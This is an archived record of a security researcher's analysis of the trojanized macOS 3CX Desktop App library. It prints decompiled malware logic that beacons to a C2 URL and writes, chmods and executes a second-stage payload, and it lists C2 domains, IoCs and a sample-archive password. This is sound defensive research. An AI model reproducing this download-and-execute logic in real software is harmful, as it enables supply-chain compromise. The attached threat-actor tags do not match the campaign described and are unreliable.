{
	"id": "41329218-125b-46e2-afbc-55ab3aead84a",
	"created_at": "2026-04-06T00:08:43.737197Z",
	"updated_at": "2026-04-10T03:32:26.679683Z",
	"deleted_at": null,
	"sha1_hash": "9828d868ef8f81e6dba2665792695063d82a5cbe",
	"title": "Ironing out (the macOS) details of a Smooth Operator (Part I)",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 315068,
	"plain_text": "Ironing out (the macOS) details of a Smooth Operator (Part I)\r\nArchived: 2026-04-05 16:59:37 UTC\r\nIroning out (the macOS) details of a Smooth Operator (Part I)\r\nThe 3CX supply chain attack, gives us an opportunity to analyze a trojanized macOS application\r\nby: Patrick Wardle / March 29, 2023\r\nObjective-See's research, tools, and writing, are supported by the \"Friends of Objective-See\" such as:\r\n📝 👾 Want to play along?\r\nAs “Sharing is Caring” I’ve uploaded the malicious dynamic library libffmpeg.dylib to our public macOS\r\nmalware collection. The password is: infect3d\r\n...please though, don't infect yourself!\r\nBackground\r\nEarlier today, several vendors uncovered a massive supply chain attack, spreading malware dubbed\r\nSmoothOperator:\r\nFor details on the supply chain attack, affecting 3CX, you can read the following:\r\n“CrowdStrike Falcon Platform Detects and Prevents Active Intrusion Campaign Targeting\r\n3CXDesktopApp Customers”\r\n“SmoothOperator | Ongoing Campaign Trojanizes 3CXDesktopApp in Supply Chain Attack”\r\n“3CX users under DLL-sideloading attack: What you need to know”\r\nWhile these analyses were a great start, they all were missing one very important piece! Details on the macoS\r\ninfection and the specific malicious component(s).\r\nSpecifically, though the reports noted 3CX’s macOS application may have been trojanized this was not\r\nconclusively confirmed, with one vendor noting, “at this time, we cannot confirm that the Mac installer is\r\nsimilarly trojanized”.\r\n…sounds like its up to us to get to the bottom on this!\r\nTriage\r\nhttps://objective-see.org/blog/blog_0x73.html\r\nPage 1 of 9\n\nThe CrowdStrike report noted that they had seen malicious macOS activity emanating from 3CX’s macOS\r\napplication …and were kind enough to provide a name and hash of a disk image they believed was infected. This\r\nwas the key to starting our investigation, so a big thanks to them!\r\nWe’ll start with this disk image, 3CXDesktopApp-18.12.416.dmg ( SHA-1:\r\n3DC840D32CE86CEBF657B17CEF62814646BA8E98 ):\r\nTrojanized Disk Image?\r\nAs you can see, it contains a single application, named “3CX Desktop App”.\r\nIf we check its code-signing information, we can see not only is it validly signed by the 3CX developer, but also\r\nnotarized by Apple! The latter means Apple checked it for malware “and none was detected” …yikes!\r\nhttps://objective-see.org/blog/blog_0x73.html\r\nPage 2 of 9\n\nTrojanized Application\r\nNotarization means the application will be allowed to run on recent versions of macOS, with the OS not blocking\r\nit.\r\nUpdate: Apple has now revoked the code-signing certifiate, meaning the item’s notarization is rescinded.\r\n…at this point, if I’m being honest, the thought crossed my mind that maybe the reason none of the vendors (with\r\ntheir millions of dollars and large malware analysis teams) hadn’t detailed the macOS trojanization mechanism\r\nwas because there wasn’t one? I mean, Apple had notarized the application, which in a way is giving it their\r\nsample of approval.\r\nI brushed this thought aside and kept digging …which as the application was almost 400mb, was no trivial task.\r\n% du -h /Volumes/3CXDesktopApp-18.12.416/3CX\\ Desktop\\ App.app\r\n...\r\n381M /Volumes/3CXDesktopApp-18.12.416/3CX Desktop App.app\r\nI (eventually) came across a binary named libffmpeg.dylib buried deep within the App’s\r\nContents/Frameworks/Electron\\ Framework.framework/Versions/A/Libraries directory.\r\nIts SHA-1 hash is 769383fc65d1386dd141c960c9970114547da0c2 , and it was uploaded to VirusTotal early today\r\nwhere it was not flagged by any of the AV engines as being malicious:\r\nhttps://objective-see.org/blog/blog_0x73.html\r\nPage 3 of 9\n\nA malicious dynamic library?\r\nUsing the file command, we see it’s a Mach-O universal binary with 2 architectures: x86_64 \u0026 arm64:\r\n% file 3CX\\ Desktop\\ App.app/Contents/Frameworks/Electron\\ Framework.framework/Versions/A/Libraries/l\r\nlibffmpeg.dylib: Mach-O universal binary with 2 architectures: [x86_64:Mach-O 64-bit dynamically link\r\nlibffmpeg.dylib: Mach-O 64-bit dynamically linked shared library x86_64\r\nlibffmpeg.dylib: Mach-O 64-bit dynamically linked shared library arm64\r\nA quick triage of this binary revealed XOR loops, timing checks, dynamically resolved APIs, and string\r\nobfuscations …all shady! 👀\r\nTime to dig deeper!\r\nAnalysis of libffmpeg.dylib\r\nIn this section we’ll analyze the malicious logic of the libffmpeg.dylib binary. We’ll focus on the Intel\r\n( x86_64 ) versions as the Arm version doesn’t appear to be infected!\r\nWorth noting that the Intel version can still run on Apple Silicon sytems, if Rosetta is installed.\r\nAt the start of the Intel version, a thread is spawned via a function called run_avcodec This kicks off a (thread)\r\nfunction at 0x48430:\r\nEntryPoint:\r\n0x000000000004b180 xor eax, eax\r\n0x000000000004b182 jmp _run_avcodec\r\n...\r\n_run_avcodec:\r\n0x0000000000048400 push rax\r\n0x0000000000048401 movabs rax, 0xaaaaaaaaaaaaaaaa\r\n0x000000000004840b mov rdi, rsp\r\n0x000000000004840e mov qword [rdi], rax\r\n0x0000000000048411 lea rdx, qword [sub_48430]\r\nhttps://objective-see.org/blog/blog_0x73.html\r\nPage 4 of 9\n\n0x0000000000048418 xor esi, esi\r\n0x000000000004841a xor ecx, ecx\r\n0x000000000004841c call imp___stubs__pthread_create\r\n...\r\nThe function at 0x48430 (named sub_48430 in the disassembly) is where things get interesting!\r\nA quick triage of this function shows that its rather massive but more importantly contains various anti-analysis\r\napproaches aimed at thwarting static analysis. For example here is a snippet of decompilation showing a string\r\nbegin de-XOR’d:\r\ndo {\r\n *(int8_t *)(rsp + rax + 0x1b40) = *(int8_t *)(rsp + rax + 0x1b40) ^ 0x7a;\r\n rax = rax + 0x1;\r\n} while (rax != 0x32);\r\nClearly, it is not trivial to understand this solely via static analysis, so let’s leverage dynamic analysis (read: use a\r\ndebugger).\r\nDebugging a dynamic library is a bit tricky, as it can’t be executed in a standalone manner. Not to worry, we can\r\nwhip up a simple loader that will load it (or any passed in dylib) via the dlopen API:\r\n#import \u003cdlfcn.h\u003e\r\n#import \u003cFoundation/Foundation.h\u003e\r\nint main(int argc, const char * argv[]) {\r\n \r\n void * handle = dlopen(argv[1], RTLD_LOCAL | RTLD_LAZY);\r\n \r\n dispatch_main();\r\n return 0;\r\n}\r\nOnce this is compiled (as an x86_64 program, as we want to debug the x86_64 version of libffmpeg.dylib ),\r\nwe launch it via the lldb debugger:\r\n% lldb dlopen_x64 libffmpeg.dylib\r\nWe can then run the loader ( dlopen_x64 ) via a debugger passing in the malicious dylib libffmpeg.dylib .\r\nhttps://objective-see.org/blog/blog_0x73.html\r\nPage 5 of 9\n\nSetting a breakpoint on pthread_create allows the debugger to break right before the thread function of interest\r\nto us, is executed. This is important as we don’t know exactly where the library will be loaded in memory (and\r\nthus can’t initially set a breakpoint on the address of the thread function).\r\n% lldb dlopen_x64 libffmpeg.dylib\r\n...\r\n(lldb) b pthread_create\r\n(lldb) run\r\nProcess 21118 stopped\r\n* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1\r\n frame #0: 0x00007ff81c81c445 libsystem_pthread.dylib`pthread_create\r\nlibsystem_pthread.dylib`pthread_create:\r\n-\u003e 0x7ff81c81c445 \u003c+0\u003e: xorl %r8d, %r8d\r\n \r\nOnce broken we can use the image list debugger command to find the address that the libffmpeg.dylib\r\nlibrary is loaded, and from this, the address of the thread function. Then, we can set a breakpoint such the\r\ndebugger will break once its about to be executed.\r\nHooray, now we’re in the debugger at the start of the thread function …let’s start stepping through it. We won’t go\r\nthrough all its details, but instead highlight, well, highlights!\r\nFirst, it de-XORs components to build the following path: ~/Library/Application Support/3CX Desktop\r\nApp/.session-lock . It then attempts to open this file via the open API. (In the debugger the RDI register will\r\nhold the first argument (the file name) passed to open ):\r\nTarget 0: (dlopen_x64) stopped.\r\n(lldb) x/s 0x3041946f0\r\n0x3041946f0: \"%s/Library/Application Support/3CX Desktop App/%s\"\r\n...\r\nlibffmpeg.dylib`___lldb_unnamed_symbol1736:\r\n-\u003e 0x10a0484f5 \u003c+341\u003e: callq 0x10a208858 ; symbol stub for: open\r\nTarget 0: (dlopen_x64) stopped.\r\n(lldb) x/s $rdi\r\n0x304193ee0: \"/Users/patrick/Library/Application Support/3CX Desktop App/.session-lock\"\r\nIf this file does not exist the function will exit (so we’ll create a blank file here, so we can keep debugging).\r\nThe function then executes logic to query the host to get the OS version, computer name, etc, etc. On my machine\r\n(macOS 13.3), once it has gathered this information and concatenated it together it looks something like this:\r\nhttps://objective-see.org/blog/blog_0x73.html\r\nPage 6 of 9\n\n\"13.3;Patricks-MacBook-Pro.local;6180;14\" .\r\nIt then generates a unique identifier (UUID) and write this out to a file named .main_storage also in the\r\n~/Library/Application Support/3CX Desktop App/ directory:\r\n% hexdump -C ~/Library/Application Support/3CX Desktop App/.main_storage\r\n00000000 49 4d 48 4f 1f 42 4b 1f 57 4a 4f 4b 43 57 4d 1c |IMHO.BK.WJOKCWM.|\r\n00000010 4a 43 57 4d 48 1b 19 57 49 4f 4c 4e 4b 19 43 4e |JCWMH..WIOLNK.CN|\r\n00000020 19 4b 19 1c 7a 7a 7a 7a 7a 7a 7a 7a 7a 7a 7a 7a |.K..zzzzzzzzzzzz|\r\n00000030 5e b8 46 1e 7a 7a 7a 7a |^.F.zzzz|\r\nThis file is “encrypted” with the XOR key 0x7a .\r\nAfter various anti-debugging logic (e.g. timing checks) it builds a URL to query. We can easily dump this in the\r\ndebugger to reveal that it is https://pbxsources.com/queue :\r\n...\r\nProcess 18702 stopped\r\n(lldb) po $rax\r\nhttps://pbxsources.com/queue\r\nThe domain pbxsources.com is listed by various vendors as an IoC to detect the Windows variant of this malware.\r\nIt’s not surprising the macOS variant used the same network infrastructure.\r\nAfter setting a static user-agent ( Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,\r\nlike Gecko) Chrome/108.0.5359.128 Safari/537.36 ) and adding various host info as HTTP headers, it connects\r\nout to the decrypted URL.\r\nUnfortunately the URL the malware is trying to reach (pbxsources.com) is now offline:\r\n% nslookup pbxsources.com\r\nServer: 1.1.1.1\r\nAddress: 1.1.1.1#53\r\n** server can't find pbxsources.com: NXDOMAIN\r\n…so the malware doesn’t get the HTTP 200 OK it wants, and thus goes off to snooze.\r\nrax = strcmp(var_23F8, \"200\");\r\n...\r\nhttps://objective-see.org/blog/blog_0x73.html\r\nPage 7 of 9\n\n//no match?\r\ndo {\r\n time(rbp);\r\n if (0x0 \u003e= r14) {\r\n break;\r\n }\r\n sleep(0xa);\r\n} while (true);\r\nAs the C\u0026C server is offline, our dynamic analysis comes to an end. But that’s ok! Continued static analysis\r\nappears to show the malware expects to download a 2nd-stage payload. This appears to be saved as a file named\r\nUpdateAgent (in the Application Support/3CX Desktop App/ directory)\r\nIn the annotated decompilation, you can see that once the file is written out, the malware sets it to be executable\r\n(via chmod ), then executes it via the popen API:\r\n//write out 2nd-stage payload\r\n// path (likely): \"UpdateAgent\"\r\nrax = fopen$DARWIN_EXTSN(r13, \"wb\");\r\nfwrite(var_23F8 + 0x4, 0xfffffffffffffffc, 0x1, rax);\r\nfflush(rax);\r\nfclose(rax);\r\n//make +x\r\nchmod(r13, 0x1ed);\r\n \r\n//add \"\"\u003e /dev/null\"\r\nsprintf(r12, rbp);\r\npopen$DARWIN_EXTSN(r12, \"r\");\r\nI don’t have access to this binary, what it does is a mystery.\r\nDetection\r\nLet’s end by talking how to detect the macOS variant of the SmoothOperator malware.\r\nFirst some IoCs (with the caveat that I don’t know what “3CX Desktop App.app” normally does, but as we saw,\r\nthe malicious library, libffmpeg.dylib , interacts w/ the following files)\r\nFile based IoCs (found in ~/Library/Application Support/3CX Desktop App/ )\r\nUpdateAgent\r\n.main_storage\r\n.session-lock\r\nhttps://objective-see.org/blog/blog_0x73.html\r\nPage 8 of 9\n\nIn terms of domains the malware will attempt to connect to, we can, as noted by Snorre Fagerland on Twitter,\r\nsimply de-XOR the entire libffmpeg.dylib binary with the key 0x7a to recover a comprehensive list\r\nThanks for this! Concur on the xor - if people want a whole heap of indicators, just xor the entire file\r\nwith 0x7a and see what falls out. pic.twitter.com/XNMfDyYr1I\r\n— Snorre Fagerland (@fstenv) March 30, 2023\r\nEmbedded Domains:\r\nofficestoragebox.com/api/biosync\r\nvisualstudiofactory.com/groupcore\r\nazuredeploystore.com/cloud/images\r\nmsstorageboxes.com/xbox\r\nofficeaddons.com/quality\r\nsourceslabs.com/status\r\nzacharryblogs.com/xmlquery\r\npbxcloudeservices.com/network\r\npbxphonenetwork.com/phone\r\nakamaitechcloudservices.com/v2/fileapi\r\nazureonlinestorage.com/google/storage\r\nmsedgepackageinfo.com/ms-webview\r\nglcloudservice.com/v1/status\r\npbxsources.com/queue\r\nwww.3cx.com/blog/event-trainings/\r\nThis list of URLs appear to be same as Window variant.\r\nConclusion\r\nToday we added a missing puzzle piece to the 3CX supply chain attack. Here, for the first time we uncovered the\r\ntrojanization component of the macOS component! Moreover, we thoroughly analyzed this component, while\r\nproviding IoCs for detection.\r\nNow I’m off to hunt for that 2nd-stage payload (and to sleep) Y’all stay safe!\r\nInterested in Mac Malware Analysis Techniques?\r\nSource: https://objective-see.org/blog/blog_0x73.html\r\nhttps://objective-see.org/blog/blog_0x73.html\r\nPage 9 of 9",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia",
		"ETDA"
	],
	"references": [
		"https://objective-see.org/blog/blog_0x73.html"
	],
	"report_names": [
		"blog_0x73.html"
	],
	"threat_actors": [
		{
			"id": "9de1979b-40fc-44dc-855d-193edda4f3b8",
			"created_at": "2025-08-07T02:03:24.92723Z",
			"updated_at": "2026-04-10T02:00:03.755516Z",
			"deleted_at": null,
			"main_name": "GOLD LOCUST",
			"aliases": [
				"Anunak",
				"Carbanak",
				"Carbon Spider ",
				"FIN7 ",
				"Silicon "
			],
			"source_name": "Secureworks:GOLD LOCUST",
			"tools": [
				"Carbanak"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "cfdd35af-bd12-4c03-8737-08fca638346d",
			"created_at": "2022-10-25T16:07:24.165595Z",
			"updated_at": "2026-04-10T02:00:04.887031Z",
			"deleted_at": null,
			"main_name": "Sea Turtle",
			"aliases": [
				"Cosmic Wolf",
				"Marbled Dust",
				"Silicon",
				"Teal Kurma",
				"UNC1326"
			],
			"source_name": "ETDA:Sea Turtle",
			"tools": [
				"Drupalgeddon"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "33ae2a40-02cd-4dba-8461-d0a50e75578b",
			"created_at": "2023-01-06T13:46:38.947314Z",
			"updated_at": "2026-04-10T02:00:03.155091Z",
			"deleted_at": null,
			"main_name": "Sea Turtle",
			"aliases": [
				"UNC1326",
				"COSMIC WOLF",
				"Marbled Dust",
				"SILICON",
				"Teal Kurma"
			],
			"source_name": "MISPGALAXY:Sea Turtle",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "75108fc1-7f6a-450e-b024-10284f3f62bb",
			"created_at": "2024-11-01T02:00:52.756877Z",
			"updated_at": "2026-04-10T02:00:05.273746Z",
			"deleted_at": null,
			"main_name": "Play",
			"aliases": null,
			"source_name": "MITRE:Play",
			"tools": [
				"Nltest",
				"AdFind",
				"PsExec",
				"Wevtutil",
				"Cobalt Strike",
				"Playcrypt",
				"Mimikatz"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "62b1b01f-168d-42db-afa1-29d794abc25f",
			"created_at": "2025-04-23T02:00:55.22426Z",
			"updated_at": "2026-04-10T02:00:05.358041Z",
			"deleted_at": null,
			"main_name": "Sea Turtle",
			"aliases": [
				"Sea Turtle",
				"Teal Kurma",
				"Marbled Dust",
				"Cosmic Wolf",
				"SILICON"
			],
			"source_name": "MITRE:Sea Turtle",
			"tools": [
				"SnappyTCP"
			],
			"source_id": "MITRE",
			"reports": null
		}
	],
	"ts_created_at": 1775434123,
	"ts_updated_at": 1775791946,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/9828d868ef8f81e6dba2665792695063d82a5cbe.pdf",
		"text": "https://archive.orkl.eu/9828d868ef8f81e6dba2665792695063d82a5cbe.txt",
		"img": "https://archive.orkl.eu/9828d868ef8f81e6dba2665792695063d82a5cbe.jpg"
	}
}